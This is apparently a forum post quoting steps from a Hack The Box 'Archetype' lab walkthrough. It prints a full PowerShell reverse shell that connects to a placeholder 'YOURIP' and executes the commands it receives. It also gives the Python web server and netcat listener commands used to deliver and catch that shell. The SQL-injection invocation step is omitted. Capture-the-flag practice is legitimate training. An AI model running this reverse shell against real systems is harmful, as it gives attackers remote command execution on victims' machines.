If you follow the instructions for Archetype, it says:
- create shell.ps1 (it should be
$client = New-Object System.Net.Sockets.TCPClient("YOURIP",443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "# ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()
- set up a python webserver with
python3 -m http.server 80
(may need sudo) - set up your netcat listener
sudo nc -lvnp 443
- use the SQLi to call the shell.ps1 and invoke it (this triggers a content block on the HTB WAF so I am not going to paste it in here)